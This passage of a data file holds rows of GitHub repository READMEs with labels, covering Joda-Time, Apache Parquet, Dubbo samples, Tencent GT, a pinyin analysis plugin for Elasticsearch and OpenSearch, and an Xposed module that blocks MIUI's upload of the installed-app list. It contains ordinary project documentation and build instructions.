* [Full Listing of Jackson Annotations](../../wiki/Jackson-Annotations) details all available annotations.
* [jackson-annotations wiki](../../wiki)
Backwards compatibility:
* You can make Jackson 2 use Jackson 1 annotations with [jackson-legacy-introspector](https://github.com/Laures/jackson-legacy-introspector)
Related:
* [Databinding](https://github.com/FasterXML/jackson-databind) module has more documentation, since it is the main user of annotations.
| 0 |
MinaMichita/AntiAntiDefraud | Stop uploading my installed app list! Miui! | null | # AntiAntiDefraud
Preventing Miui from uploading installed app list.
---
## How Miui collect your privacy?
Since Miui 14, Miui is keeping sending information that contain uuid from GuardProvider, Miui version and installed app information list to Xiaomi's server without asking user.
Miui China Mainland version has been tested and confirmed that Xiaomi is collecting user's privacy without asking their users. Xiaomi named this function as AntiDefraud in their code and **these code is also existing in Miui Global version**.
Behavior list below will trigger Miui to uploading your installed app list(Tested on Miui China Mainland version):
* Launch Security - Settings - Security scan - Check for updates(Whether Online definitions is on or off)
* Force Stop SecurityCenter(Whether Online definitions is on or off)
* Clear Security app data
## What will this xposed module do?
This xposed module will make GuardProvider work as debug mode and preventing Miui from uploading installed app list and print log with content that Miui want to collect.
Install this app and active it in lsposed. You can check log in lsposed to confirm is Miui uploading your installed app list.
### About Debug mode flag process log
**Info: GuardProvider will work as debug mode!**
That means GuardProvider is working as debug mode and it will print log if GuardProvider is sending your installed app list to Xiaomi's server. Besides, if this appear, you can ignore **Warning: GuardProvider debug mode flag not found!**.
You can do a research in logcat(not in lsposed) with keyword **responseDetectApp**, and then you can find log:
*W/TAG: responseDetectApp get: {"code":200,"desc":"success","data":[]}*
But if this xposed module work correctly, the above log can not be found is normal cause this module will prevent Miui from uploading installed app list.
**Info: GuardProvider will work as debug mode!**
GuardProvider will not work as debug mode and this means GuardProvider will not print log when it uploads your installed app list.
### About Prevent miui from uploading app list log
**Skip: AntiDefraudAppManager class not found.**
**Skip: getAllUnSystemAppsStatus method not found.**
That means this module can't find the code will upload your installed app list. It is normal if you are not using Miui 14.
But If you are using Miui 14, maybe Xiaomi has edited the code. Maybe Xiaomi has deleted or just renamed to make this module not to work.
**Info: Intercept={"timestamp":"xxx","os":"xxx","biz_id":"virus_scan","uuid":"xxx","content":[]}**
That means Miui is trying to upload your installed app list to Xiaomi's server but this module intercepted it. You can check it to know which information is collecting by Xiaomi.
**You can ignore these log:**
Warning: Can't get MIUI_VERSION.
Warning: uuidHelper class not found.
Warning: getUUID method not found.
Info: xxxxxx | 0 |
w446108264/XhsWelcomeAnim | 小红书欢迎引导第二版 | null | # XhsParallaxWelcome
小红书欢迎引导第二版
## Screen Recod
## Download
[APK下载](https://raw.githubusercontent.com/w446108264/XhsWelcomeAnim/master/output/XhsWelcomeAnim.apk)
| 0 |
JodaOrg/joda-time | Joda-Time is the widely used replacement for the Java date and time classes prior to Java SE 8. | date-time java joda joda-time | Joda-Time
---------
Joda-Time provides a quality replacement for the Java date and time classes.
The design allows for multiple calendar systems, while still providing a simple API.
The 'default' calendar is the ISO8601 standard which is used by XML.
The Gregorian, Julian, Buddhist, Coptic, Ethiopic and Islamic systems are also included.
Supporting classes include time zone, duration, format and parsing.
**Joda-time is no longer in active development except to keep timezone data up to date.**
From Java SE 8 onwards, users are asked to migrate to `java.time` (JSR-310) - a core part of the JDK which replaces this project.
For Android users, `java.time` is [added in API 26+](https://developer.android.com/reference/java/time/package-summary).
Projects needing to support lower API levels can use [the ThreeTenABP library](https://github.com/JakeWharton/ThreeTenABP).
As a flavour of Joda-Time, here's some example code:
```java
public boolean isAfterPayDay(DateTime datetime) {
if (datetime.getMonthOfYear() == 2) { // February is month 2!!
return datetime.getDayOfMonth() > 26;
}
return datetime.getDayOfMonth() > 28;
}
public Days daysToNewYear(LocalDate fromDate) {
LocalDate newYear = fromDate.plusYears(1).withDayOfYear(1);
return Days.daysBetween(fromDate, newYear);
}
public boolean isRentalOverdue(DateTime datetimeRented) {
Period rentalPeriod = new Period().withDays(2).withHours(12);
return datetimeRented.plus(rentalPeriod).isBeforeNow();
}
public String getBirthMonthText(LocalDate dateOfBirth) {
return dateOfBirth.monthOfYear().getAsText(Locale.ENGLISH);
}
```
Joda-Time is licensed under the business-friendly [Apache 2.0 licence](https://www.joda.org/joda-time/licenses.html).
[](https://bestpractices.coreinfrastructure.org/projects/6310)
### Documentation
Various documentation is available:
* The [home page](https://www.joda.org/joda-time/)
* Two user guides - [quick](https://www.joda.org/joda-time/quickstart.html) and [full](https://www.joda.org/joda-time/userguide.html)
* The [Javadoc](https://www.joda.org/joda-time/apidocs/index.html)
* The [FAQ](https://www.joda.org/joda-time/faq.html) list
* Information on [downloading and installing](https://www.joda.org/joda-time/installation.html) Joda-Time including release notes
### Releases
[Release 2.12.7](https://www.joda.org/joda-time/download.html) is the current latest release.
This release is considered stable and worthy of the 2.x tag.
It depends on JDK 1.5 or later.
Available in the [Maven Central repository](https://search.maven.org/search?q=g:joda-time%20AND%20a:joda-time&core=gav)
**Maven configuration:**
```xml
<dependency>
<groupId>joda-time</groupId>
<artifactId>joda-time</artifactId>
<version>2.12.7</version>
</dependency>
```
**Gradle configuration:**
```groovy
compile 'joda-time:joda-time:2.12.7'
```
### Related projects
Related projects at GitHub:
- https://github.com/JodaOrg/joda-time-hibernate
- https://github.com/JodaOrg/joda-time-jsptags
- https://github.com/JodaOrg/joda-time-i18n
Other related projects:
- https://www.joda.org/joda-time/related.html
### For enterprise
Available as part of the Tidelift Subscription.
Joda and the maintainers of thousands of other packages are working with Tidelift to deliver one enterprise subscription that covers all of the open source you use.
If you want the flexibility of open source and the confidence of commercial-grade software, this is for you.
[Learn more](https://tidelift.com/subscription/pkg/maven-joda-time-joda-time?utm_source=maven-joda-time-joda-time&utm_medium=github)
### Support
Please use [Stack Overflow](https://stackoverflow.com/questions/tagged/jodatime) for general usage questions.
GitHub [issues](https://github.com/JodaOrg/joda-time/issues) and [pull requests](https://github.com/JodaOrg/joda-time/pulls)
should be used when you want to help advance the project.
Any donations to support the project are accepted via [OpenCollective](https://opencollective.com/joda).
To report a security vulnerability, please use the [Tidelift security contact](https://tidelift.com/security).
Tidelift will coordinate the fix and disclosure.
### Development and Contributions
Joda-Time is developed using standard [GitHub tools](https://github.com/JodaOrg/joda-time).
A [checkstyle](https://checkstyle.sourceforge.io/) file is available, and PRs must comply with it.
The project can be built using [Apache Maven](https://maven.apache.org/), such as <code>mvn clean install</code>.
Continuous Integration takes place using [GitHub Actions](https://github.com/JodaOrg/joda-time/actions).
Units tests are written in [JUnit](https://junit.org/) and run as part of the build and continuous integration.
Changes via PR must include appropiate test coverage.
Note that Joda-Time is considered to be a largely “finished” project. No major enhancements are planned. If using Java SE 8, please migrate to java.time (JSR-310).
### Release process
* Update version (pom.xml, README.md, index.md, MANIFEST.MF, changes.xml)
* Commit and push
* Ensure on Java SE 8
* `mvn clean deploy -Doss.repo -Dgpg.passphrase=""`
* Website will be built and released by GitHub Actions
| 0 |
apache/parquet-format | Apache Parquet | big-data java parquet | <!--
- Licensed to the Apache Software Foundation (ASF) under one
- or more contributor license agreements. See the NOTICE file
- distributed with this work for additional information
- regarding copyright ownership. The ASF licenses this file
- to you under the Apache License, Version 2.0 (the
- "License"); you may not use this file except in compliance
- with the License. You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing,
- software distributed under the License is distributed on an
- "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- KIND, either express or implied. See the License for the
- specific language governing permissions and limitations
- under the License.
-->
# Parquet [](https://github.com/apache/parquet-format/actions)
Parquet is a columnar storage format that supports nested data.
Parquet metadata is encoded using Apache Thrift.
The `Parquet-format` project contains all Thrift definitions that are necessary to create readers
and writers for Parquet files.
## Motivation
We created Parquet to make the advantages of compressed, efficient columnar data representation available to any project in the Hadoop ecosystem.
Parquet is built from the ground up with complex nested data structures in mind, and uses the [record shredding and assembly algorithm](https://github.com/julienledem/redelm/wiki/The-striping-and-assembly-algorithms-from-the-Dremel-paper) described in the Dremel paper. We believe this approach is superior to simple flattening of nested name spaces.
Parquet is built to support very efficient compression and encoding schemes. Multiple projects have demonstrated the performance impact of applying the right compression and encoding scheme to the data. Parquet allows compression schemes to be specified on a per-column level, and is future-proofed to allow adding more encodings as they are invented and implemented.
Parquet is built to be used by anyone. The Hadoop ecosystem is rich with data processing frameworks, and we are not interested in playing favorites. We believe that an efficient, well-implemented columnar storage substrate should be useful to all frameworks without the cost of extensive and difficult to set up dependencies.
## Modules
The `parquet-format` project contains format specifications and Thrift definitions of metadata required to properly read Parquet files.
The `parquet-mr` project contains multiple sub-modules, which implement the core components of reading and writing a nested, column-oriented data stream, map this core onto the parquet format, and provide Hadoop Input/Output Formats, Pig loaders, and other java-based utilities for interacting with Parquet.
The `parquet-compatibility` project contains compatibility tests that can be used to verify that implementations in different languages can read and write each other's files.
## Building
Java resources can be built using `mvn package`. The current stable version should always be available from Maven Central.
C++ thrift resources can be generated via make.
Thrift can be also code-generated into any other thrift-supported language.
## Glossary
- Block (HDFS block): This means a block in HDFS and the meaning is
unchanged for describing this file format. The file format is
designed to work well on top of HDFS.
- File: A HDFS file that must include the metadata for the file.
It does not need to actually contain the data.
- Row group: A logical horizontal partitioning of the data into rows.
There is no physical structure that is guaranteed for a row group.
A row group consists of a column chunk for each column in the dataset.
- Column chunk: A chunk of the data for a particular column. They live
in a particular row group and are guaranteed to be contiguous in the file.
- Page: Column chunks are divided up into pages. A page is conceptually
an indivisible unit (in terms of compression and encoding). There can
be multiple page types which are interleaved in a column chunk.
Hierarchically, a file consists of one or more row groups. A row group
contains exactly one column chunk per column. Column chunks contain one or
more pages.
## Unit of parallelization
- MapReduce - File/Row Group
- IO - Column chunk
- Encoding/Compression - Page
## File format
This file and the [Thrift definition](src/main/thrift/parquet.thrift) should be read together to understand the format.
4-byte magic number "PAR1"
<Column 1 Chunk 1 + Column Metadata>
<Column 2 Chunk 1 + Column Metadata>
...
<Column N Chunk 1 + Column Metadata>
<Column 1 Chunk 2 + Column Metadata>
<Column 2 Chunk 2 + Column Metadata>
...
<Column N Chunk 2 + Column Metadata>
...
<Column 1 Chunk M + Column Metadata>
<Column 2 Chunk M + Column Metadata>
...
<Column N Chunk M + Column Metadata>
File Metadata
4-byte length in bytes of file metadata (little endian)
4-byte magic number "PAR1"
In the above example, there are N columns in this table, split into M row
groups. The file metadata contains the locations of all the column metadata
start locations. More details on what is contained in the metadata can be found
in the Thrift definition.
Metadata is written after the data to allow for single pass writing.
Readers are expected to first read the file metadata to find all the column
chunks they are interested in. The columns chunks should then be read sequentially.
## Metadata
There are three types of metadata: file metadata, column (chunk) metadata and page
header metadata. All thrift structures are serialized using the TCompactProtocol.
## Types
The types supported by the file format are intended to be as minimal as possible,
with a focus on how the types effect on disk storage. For example, 16-bit ints
are not explicitly supported in the storage format since they are covered by
32-bit ints with an efficient encoding. This reduces the complexity of implementing
readers and writers for the format. The types are:
- BOOLEAN: 1 bit boolean
- INT32: 32 bit signed ints
- INT64: 64 bit signed ints
- INT96: 96 bit signed ints
- FLOAT: IEEE 32-bit floating point values
- DOUBLE: IEEE 64-bit floating point values
- BYTE_ARRAY: arbitrarily long byte arrays
- FIXED_LEN_BYTE_ARRAY: fixed length byte arrays
### Logical Types
Logical types are used to extend the types that parquet can be used to store,
by specifying how the primitive types should be interpreted. This keeps the set
of primitive types to a minimum and reuses parquet's efficient encodings. For
example, strings are stored as byte arrays (binary) with a UTF8 annotation.
These annotations define how to further decode and interpret the data.
Annotations are stored as `LogicalType` fields in the file metadata and are
documented in [LogicalTypes.md][logical-types].
[logical-types]: LogicalTypes.md
### Sort Order
Parquet stores min/max statistics at several levels (such as Column Chunk,
Column Index and Data Page). Comparison for values of a type obey the
following rules:
1. Each logical type has a specified comparison order. If a column is
annotated with an unknown logical type, statistics may not be used
for pruning data. The sort order for logical types is documented in
the [LogicalTypes.md][logical-types] page.
2. For primitive types, the following rules apply:
* BOOLEAN - false, true
* INT32, INT64 - Signed comparison.
* FLOAT, DOUBLE - Signed comparison with special handling of NaNs and
signed zeros. The details are documented in the
[Thrift definition](src/main/thrift/parquet.thrift) in the
`ColumnOrder` union. They are summarized here but the Thrift definition
is considered authoritative:
* NaNs should not be written to min or max statistics fields.
* If the computed max value is zero (whether negative or positive),
`+0.0` should be written into the max statistics field.
* If the computed min value is zero (whether negative or positive),
`-0.0` should be written into the min statistics field.
For backwards compatibility when reading files:
* If the min is a NaN, it should be ignored.
* If the max is a NaN, it should be ignored.
* If the min is +0, the row group may contain -0 values as well.
* If the max is -0, the row group may contain +0 values as well.
* When looking for NaN values, min and max should be ignored.
* BYTE_ARRAY and FIXED_LEN_BYTE_ARRAY - Lexicographic unsigned byte-wise
comparison.
## Nested Encoding
To encode nested columns, Parquet uses the Dremel encoding with definition and
repetition levels. Definition levels specify how many optional fields in the
path for the column are defined. Repetition levels specify at what repeated field
in the path has the value repeated. The max definition and repetition levels can
be computed from the schema (i.e. how much nesting there is). This defines the
maximum number of bits required to store the levels (levels are defined for all
values in the column).
Two encodings for the levels are supported BIT_PACKED and RLE. Only RLE is now used as it supersedes BIT_PACKED.
## Nulls
Nullity is encoded in the definition levels (which is run-length encoded). NULL values
are not encoded in the data. For example, in a non-nested schema, a column with 1000 NULLs
would be encoded with run-length encoding (0, 1000 times) for the definition levels and
nothing else.
## Data Pages
For data pages, the 3 pieces of information are encoded back to back, after the page
header. No padding is allowed in the data page.
In order we have:
1. repetition levels data
1. definition levels data
1. encoded values
The value of `uncompressed_page_size` specified in the header is for all the 3 pieces combined.
The encoded values for the data page is always required. The definition and repetition levels
are optional, based on the schema definition. If the column is not nested (i.e.
the path to the column has length 1), we do not encode the repetition levels (it would
always have the value 1). For data that is required, the definition levels are
skipped (if encoded, it will always have the value of the max definition level).
For example, in the case where the column is non-nested and required, the data in the
page is only the encoded values.
The supported encodings are described in [Encodings.md](https://github.com/apache/parquet-format/blob/master/Encodings.md)
The supported compression codecs are described in
[Compression.md](https://github.com/apache/parquet-format/blob/master/Compression.md)
## Column chunks
Column chunks are composed of pages written back to back. The pages share a common
header and readers can skip over pages they are not interested in. The data for the
page follows the header and can be compressed and/or encoded. The compression and
encoding is specified in the page metadata.
A column chunk might be partly or completely dictionary encoded. It means that
dictionary indexes are saved in the data pages instead of the actual values. The
actual values are stored in the dictionary page. See details in
[Encodings.md](https://github.com/apache/parquet-format/blob/master/Encodings.md#dictionary-encoding-plain_dictionary--2-and-rle_dictionary--8).
The dictionary page must be placed at the first position of the column chunk. At
most one dictionary page can be placed in a column chunk.
Additionally, files can contain an optional column index to allow readers to
skip pages more efficiently. See [PageIndex.md](PageIndex.md) for details and
the reasoning behind adding these to the format.
## Checksumming
Pages of all kinds can be individually checksummed. This allows disabling of checksums
at the HDFS file level, to better support single row lookups. Checksums are calculated
using the standard CRC32 algorithm - as used in e.g. GZip - on the serialized binary
representation of a page (not including the page header itself).
## Error recovery
If the file metadata is corrupt, the file is lost. If the column metadata is corrupt,
that column chunk is lost (but column chunks for this column in other row groups are
okay). If a page header is corrupt, the remaining pages in that chunk are lost. If
the data within a page is corrupt, that page is lost. The file will be more
resilient to corruption with smaller row groups.
Potential extension: With smaller row groups, the biggest issue is placing the file
metadata at the end. If an error happens while writing the file metadata, all the
data written will be unreadable. This can be fixed by writing the file metadata
every Nth row group.
Each file metadata would be cumulative and include all the row groups written so
far. Combining this with the strategy used for rc or avro files using sync markers,
a reader could recover partially written files.
## Separating metadata and column data.
The format is explicitly designed to separate the metadata from the data. This
allows splitting columns into multiple files, as well as having a single metadata
file reference multiple parquet files.
## Configurations
- Row group size: Larger row groups allow for larger column chunks which makes it
possible to do larger sequential IO. Larger groups also require more buffering in
the write path (or a two pass write). We recommend large row groups (512MB - 1GB).
Since an entire row group might need to be read, we want it to completely fit on
one HDFS block. Therefore, HDFS block sizes should also be set to be larger. An
optimized read setup would be: 1GB row groups, 1GB HDFS block size, 1 HDFS block
per HDFS file.
- Data page size: Data pages should be considered indivisible so smaller data pages
allow for more fine grained reading (e.g. single row lookup). Larger page sizes
incur less space overhead (less page headers) and potentially less parsing overhead
(processing headers). Note: for sequential scans, it is not expected to read a page
at a time; this is not the IO chunk. We recommend 8KB for page sizes.
## Extensibility
There are many places in the format for compatible extensions:
- File Version: The file metadata contains a version.
- Encodings: Encodings are specified by enum and more can be added in the future.
- Page types: Additional page types can be added and safely skipped.
## Contributing
Comment on the issue and/or contact [the parquet-dev mailing list](http://mail-archives.apache.org/mod_mbox/parquet-dev/) with your questions and ideas.
Changes to this core format definition are proposed and discussed in depth on the mailing list. You may also be interested in contributing to the Parquet-MR subproject, which contains all the Java-side implementation and APIs. See the "How To Contribute" section of the [Parquet-MR project](https://github.com/apache/parquet-mr#how-to-contribute)
## Code of Conduct
We hold ourselves and the Parquet developer community to a code of conduct as described by [Twitter OSS](https://engineering.twitter.com/opensource): <https://github.com/twitter/code-of-conduct/blob/master/code-of-conduct.md>.
## License
Copyright 2013 Twitter, Cloudera and other contributors.
Licensed under the Apache License, Version 2.0: http://www.apache.org/licenses/LICENSE-2.0
| 0 |
Tencent/GT | GT (Great Tit) is a portable debugging tool for bug hunting and performance tuning on smartphones anytime and anywhere just as listening music with Walkman. GT can act as the Integrated Debug Environment by directly running on smartphones. | null | [US English]
===================
[](https://github.com/Tencent/GT/releases/tag/v3.1.0) []() []()
New Android Release: GT 3.1.0
------------------------------------------
What is GT?
------------------------------------------
GT (Great Tit) is a portable debugging tool for bug hunting and performance tuning on smartphones anytime and anywhere just as listening music with Walkman. GT can act as the Integrated Debug Environment by directly running on smartphones.
With the help of GT, you can carry out the following jobs only using one smartphone: quick performance tests (CPU, memory, flow, power, fluency tests etc.), viewing developer log and crash log, capturing the network packets, debugging the APP internal parameters and code time-consuming statistics.
If the functions GT provides cannot meet your requirements, you can also develop your own GT plugins with special functions to help solving more complicated debugging issues.
How to use?
------------------------------------------
GT are supported on both IOS and Android platforms.
The IOS GT is a Framework package, which must be compiled into your APPs before being used. It can be supported by both iPhone and iPad APPs.
The Android GT is composed of one GT console APP which can be installed directly and GT SDK. GT SDK must be embedded into the applications so that GT console can display the information and modify the parameters.
If you have more questions, welcome to join our QQ group: 145535035/364740349(full)/546237347(full)/415036792(full) .Note: when applying to join the QQ group please attach the following information: GT Communication
Source code description
------------------------------------------
The directory "android" is for Android GT version.
The directory "ios" is for iOS GT version.
[Simplified Chinese]
====================
Android GT新版本发布：GT 3.1.0
------------------------------------------
什么是GT？
------------------------------------------
GT（随身调）是APP的随身调试平台，它是直接运行在手机上的“集成调试环境”(IDTE, Integrated Debug Environment)。
利用GT，仅凭一部手机，无需连接电脑，即可对APP进行快速的性能测试(CPU、内存、流量、电量、帧率/流畅度等等)、开发日志的查看、Crash日志查看、网络数据包的抓取、APP内部参数的调试、真机代码耗时统计等。
如果您觉得GT提供的功能还不够满足您的需要，您还可以利用GT提供的基础API自行开发有特殊功能的GT插件，帮助您解决更加复杂的APP调试问题。
如何使用？
------------------------------------------
GT支持iOS和Android两个手机平台，其中：
iOS版是一个Framework包，必须嵌入APP工程，编译出带GT的APP才能使用；iPhone和iPad应用都能支持。
Android版由一个可直接安装的GT控制台APP和GT SDK组成，GT控制台可以独立安装使用，SDK需嵌入被调试的应用、并利用GT控制台进行信息展示和参数修改。
遇到问题请优先查阅网站上的faq，如无法解决请到Issues页提交问题。
使用交流请加QQ群：
145535035（请优先加此群）
364740349（已满）
415036792（已满）
546237347（已满）,
申请加入QQ群时请提供如下信息：交流GT使用
源代码说明
------------------------------------------
android是Android版本GT。
ios是iOS版本GT。
相关开源工程
------------------------------------------
[GTTools]工具包主要提供给基于AndroidJUnit的测试脚本用于性能指标的采集和数据监控。
[//]: # (These are reference links used in the body of this note and get stripped out when the markdown processor does its job. There is no need to format nicely because it shouldn't be seen. Thanks SO - http://stackoverflow.com/questions/4823468/stAore-comments-in-markdown-syntax)
[GTTools]: <https://github.com/r551/GTTools>
| 0 |
zhangxd1989/springboot-dubbox | 基于Spring-boot和dubbox的API接口和后台管理系统 | dubbox spring-boot spring-security | # springboot-dubbox
基于spring-boot dubbox搭建的java分布式系统
- 前后端分离
- 前端管理项目 https://github.com/zhangxd1989/springboot-dubbox-web
- spring-security基于角色的权限管理
- 统一异常管理
- spring-data-redis整合
- 整合swagger-ui接口文档，访问地址 http://localhost:8081/swagger-ui.html
- 定时任务
- 爬虫
- 邮件发送
- rabbitmq示例
- 多profile管理
- maven项目管理
- Mybatis多数据源
- logback记录日志
- 客户端用户注册、登录、修改信息、上传头像、忘记密码接口
- 接口访问次数限制
- okhttp3第三方接口调用
- druid sql监控
---
- 项目依赖Mysql、Zookeeper、Redis
- platform-admin-web为管理平台接口
- platform-mobile-client为移动客户端接口
- platform-system为服务提供者
- 在application.yml中配置数据库连接、Redis连接及web访问端口
- 执行db-script中的数据库初始化脚本
- 在pom.xml中配置zookeeper连接地址
- 启动SysProviderApplication后分别启动ClientMobileApplication和WebAdminApplication
| 0 |
apache/dubbo-samples | samples for Apache Dubbo | dubbo | # Dubbo Samples
Samples for Apache Dubbo.
This repository contains a number of projects to illustrate various usages of Dubbo from basic to advanced, pls. check README in each individual sub projects. It is also helpful to cross reference to [Dubbo User Manual](https://dubbo.apache.org/zh-cn/overview/tasks/) to understand the features demoed in this project.
What's more, [dubbo-go](https://github.com/apache/dubbo-go) samples are moved to [dubbo-go-samples](https://github.com/apache/dubbo-go-samples).
## Build and Run Samples
To compile all samples, run the following command in the top directory of this project, or step into the sub directories to compile one single sample:
**It is highly not recommend to build the entire project from the root directory, as building the entire samples can take a long time. Each module in Samples is designed independently so you can first go to the demo directory you care about, then execute the build and run the demo.**
For example,
```bash
$ cd 1-basic/dubbo-samples-spring-boot
$ mvn clean package
```
You may need to read each individual README under the sub directories if you have to understand how to build and run.
## Integration Test
This project is also used for integration tests for dubbo. If you are just learning how to use Dubbo you don't have to care about this part.
**How to build and run a integration test**
Dubbo integration test base on docker container, and relies on an image used to run the provider application and test cases.
Integration test leverages [docker](https://docs.docker.com/get-started/) to setup test environment, more accurately, to start dubbo provider instance, and any other supporting systems like registry center if necessary, in docker.
Please install `docker` and `docker-compose` first, then build the test image `dubbo/sample-test`.
```bash
cd dubbo-samples
./test/build-test-image.sh
```
Use a debian mirror through env `DEBIAN_MIRROR` if apt download files slowly,
the following example uses aliyun mirror server [http://mirrors.aliyun.com/ubuntu/](http://mirrors.aliyun.com/ubuntu/) :
```bash
cd dubbo-samples
DEBIAN_MIRROR=http://mirrors.aliyun.com ./test/build-test-image.sh
```
Then we use the `run-tests.sh` script to run the test cases.
* Run single test case
```bash
cd dubbo-samples
./test/run-tests.sh <project.basedir>
```
For example, run the `dubbo-samples-annotation` test case:
```
./test/run-tests.sh 2-advanced/dubbo-samples-annotation
```
* Run all test cases
```bash
cd dubbo-samples
./test/run-tests.sh
```
If docker container fails to startup successfully in any case, you can check log files in directory `${project.basedir}/target/logs` to understand what happens.
Pls. note integration tests rely on a Docker environment, make sure the docker environment is available before running them.
**How to add more integration test**
If you are interested in contributing more integration test for dubbo, pls. read further to understand how to enable integration test for one particular sample from the scratch.
Please follow the steps below:
1. Add a file named `case-configuration.yml` to test project.
This file is used to configure the test modules and environment, including dubbo provider / test services,
dependent third-party services.
2. Add a file named `case-versions.conf` to test project.
This file is used to configure the supported component version rules to support multi-version testing.
**Details of `case-configuration.yml`:**
Take the case `dubbo-samples-annotation` as an example:
```yaml
services:
dubbo-samples-annotation:
type: app
basedir: .
mainClass: org.apache.dubbo.samples.annotation.AnnotationProviderBootstrap
dubbo-samples-annotation-test:
type: test
basedir: .
tests:
- "**/*IT.class"
systemProps:
- zookeeper.address=dubbo-samples-annotation
- zookeeper.port=2181
- dubbo.address=dubbo-samples-annotation
- dubbo.port=20880
waitPortsBeforeRun:
- dubbo-samples-annotation:2181
- dubbo-samples-annotation:20880
depends_on:
- dubbo-samples-annotation
```
The project contains a dubbo provider `AnnotationProviderBootstrap` and an embedded zookeeper server,
as well as a test class `AnnotationServicesIT`.
Therefore, we have to define two services, one service runs `AnnotationProviderBootstrap`,
and the other service runs test classes.
The service `type` of running dubbo provider is `app`, and the service `type` of running test is `test`.
The project directory is the same as the case configuration directory, so `basedir` is `.` .
Use hostname to access between containers, the default `hostname` of the container is the same as serviceName.
So through `dubbo-samples-annotation:2181`, the embedded zookeeper server can be accessed from the test container.
There are many test cases similar to this example, only need to modify the `mainClass` and hostname.
Extract the changed as variables, and the unchanged content as templates.
When using the template, you only need to modify the variable value, which makes the case configuration easier.
The above example can use a template `app-builtin-zookeeper.yml`, use `from` to reference it and override the variable value in `props`:
```yaml
from: app-builtin-zookeeper.yml
props:
project_name: dubbo-samples-annotation
main_class: org.apache.dubbo.samples.annotation.AnnotationProviderBootstrap
zookeeper_port: 2181
dubbo_port: 20880
```
Another template is `app-external-zookeeper.yml`, which supports an external zookeeper service.
you can find all the templates in the directory `test/dubbo-scenario-builder/src/main/resources/configs`.
**Details of `case-versions.conf`:**
Version rules for spring app:
```
# Spring app
dubbo.version=2.7*, 3.*
spring.version=4.*, 5.*
```
Version rules for spring-boot 1.x app:
```
# SpringBoot app
dubbo.version=2.7*, 3.*
spring-boot.version=1.*
```
Version rules for spring-boot 2.x app:
```
# SpringBoot app
dubbo.version=2.7*, 3.*
spring-boot.version=2.*
```
For more details, please refer to the following case configurations:
* [dubbo-samples-annotation](dubbo-samples-annotation/case-configuration.yml) : A simple provider service with builtin zookeeper.
* [dubbo-samples-api](dubbo-samples-api/case-configuration.yml) : A simple provider service with external zookeeper.
* [dubbo-samples-chain](dubbo-samples-chain/case-configuration.yml) : A multiple services with external zookeeper.
* [dubbo-samples-migration](dubbo-samples-migration/README.md) : A compatibility test with the provider and consumer have different dubbo verison.
That's it, then feel free to add more integration test for the Dubbo project, have fun.
| 0 |
infinilabs/analysis-pinyin | 🛵 This Pinyin Analysis plugin is used to do conversion between Chinese characters and Pinyin. | analyzer conversion easysearch elasticsearch opensearch pinyin pinyin-analysis | Pinyin Analysis for Elasticsearch and OpenSearch
==================================
This Pinyin Analysis plugin facilitates the conversion between Chinese characters and Pinyin. It supports major versions of Elasticsearch and OpenSearch. Maintained and supported with ❤️ by [INFINI Labs](https://infinilabs.com).
The plugin comprises an analyzer named `pinyin`, a tokenizer named `pinyin`, and a token filter named `pinyin`.
# Optional Parameters
- `keep_first_letter`: When enabled, retains only the first letter of each Chinese character. For example, `刘德华` becomes `ldh`. Default: true.
- `keep_separate_first_letter`: When enabled, keeps the first letters of each Chinese character separately. For example, `刘德华` becomes `l`,`d`,`h`. Default: false. Note: This may increase query fuzziness due to term frequency.
- `limit_first_letter_length`: Sets the maximum length of the first letter result. Default: 16.
- `keep_full_pinyin`: When enabled, preserves the full Pinyin of each Chinese character. For example, `刘德华` becomes [`liu`,`de`,`hua`]. Default: true.
- `keep_joined_full_pinyin`: When enabled, joins the full Pinyin of each Chinese character. For example, `刘德华` becomes [`liudehua`]. Default: false.
- `keep_none_chinese`: Keeps non-Chinese letters or numbers in the result. Default: true.
- `keep_none_chinese_together`: Keeps non-Chinese letters together. Default: true. For example, `DJ音乐家` becomes `DJ`,`yin`,`yue`,`jia`. When set to `false`, `DJ音乐家` becomes `D`,`J`,`yin`,`yue`,`jia`. Note: `keep_none_chinese` should be enabled first.
- `keep_none_chinese_in_first_letter`: Keeps non-Chinese letters in the first letter. For example, `刘德华AT2016` becomes `ldhat2016`. Default: true.
- `keep_none_chinese_in_joined_full_pinyin`: Keeps non-Chinese letters in joined full Pinyin. For example, `刘德华2016` becomes `liudehua2016`. Default: false.
- `none_chinese_pinyin_tokenize`: Breaks non-Chinese letters into separate Pinyin terms if they are Pinyin. Default: true. For example, `liudehuaalibaba13zhuanghan` becomes `liu`,`de`,`hua`,`a`,`li`,`ba`,`ba`,`13`,`zhuang`,`han`. Note: `keep_none_chinese` and `keep_none_chinese_together` should be enabled first.
- `keep_original`: When enabled, keeps the original input as well. Default: false.
- `lowercase`: Lowercases non-Chinese letters. Default: true.
- `trim_whitespace`: Default: true.
- `remove_duplicated_term`: When enabled, removes duplicated terms to save index space. For example, `de的` becomes `de`. Default: false. Note: Position-related queries may be influenced.
- `ignore_pinyin_offset`: After version 6.0, offsets are strictly constrained, and overlapped tokens are not allowed. With this parameter, overlapped tokens will be allowed by ignoring the offset. Please note, all position-related queries or highlights will become incorrect. You should use multi-fields and specify different settings for different query purposes. If you need offsets, please set it to false. Default: true.
# How to Install
You can download the packaged plugins from here: `https://release.infinilabs.com/`,
or you can use the `plugin` cli to install the plugin like this:
For Elasticsearch
```
bin/elasticsearch-plugin install https://get.infini.cloud/elasticsearch/analysis-pinyin/8.4.1
```
For OpenSearch
```
bin/opensearch-plugin install https://get.infini.cloud/opensearch/analysis-pinyin/2.12.0
```
Tips: replace your own version number related to your elasticsearch or opensearch.
# Getting Started
1.Create a index with custom pinyin analyzer
<pre>
PUT /medcl/
{
"settings" : {
"analysis" : {
"analyzer" : {
"pinyin_analyzer" : {
"tokenizer" : "my_pinyin"
}
},
"tokenizer" : {
"my_pinyin" : {
"type" : "pinyin",
"keep_separate_first_letter" : false,
"keep_full_pinyin" : true,
"keep_original" : true,
"limit_first_letter_length" : 16,
"lowercase" : true,
"remove_duplicated_term" : true
}
}
}
}
}
</pre>
2.Test Analyzer, analyzing a chinese name, such as 刘德华
<pre>
GET /medcl/_analyze
{
"text": ["刘德华"],
"analyzer": "pinyin_analyzer"
}</pre>
<pre>
{
"tokens" : [
{
"token" : "liu",
"start_offset" : 0,
"end_offset" : 1,
"type" : "word",
"position" : 0
},
{
"token" : "de",
"start_offset" : 1,
"end_offset" : 2,
"type" : "word",
"position" : 1
},
{
"token" : "hua",
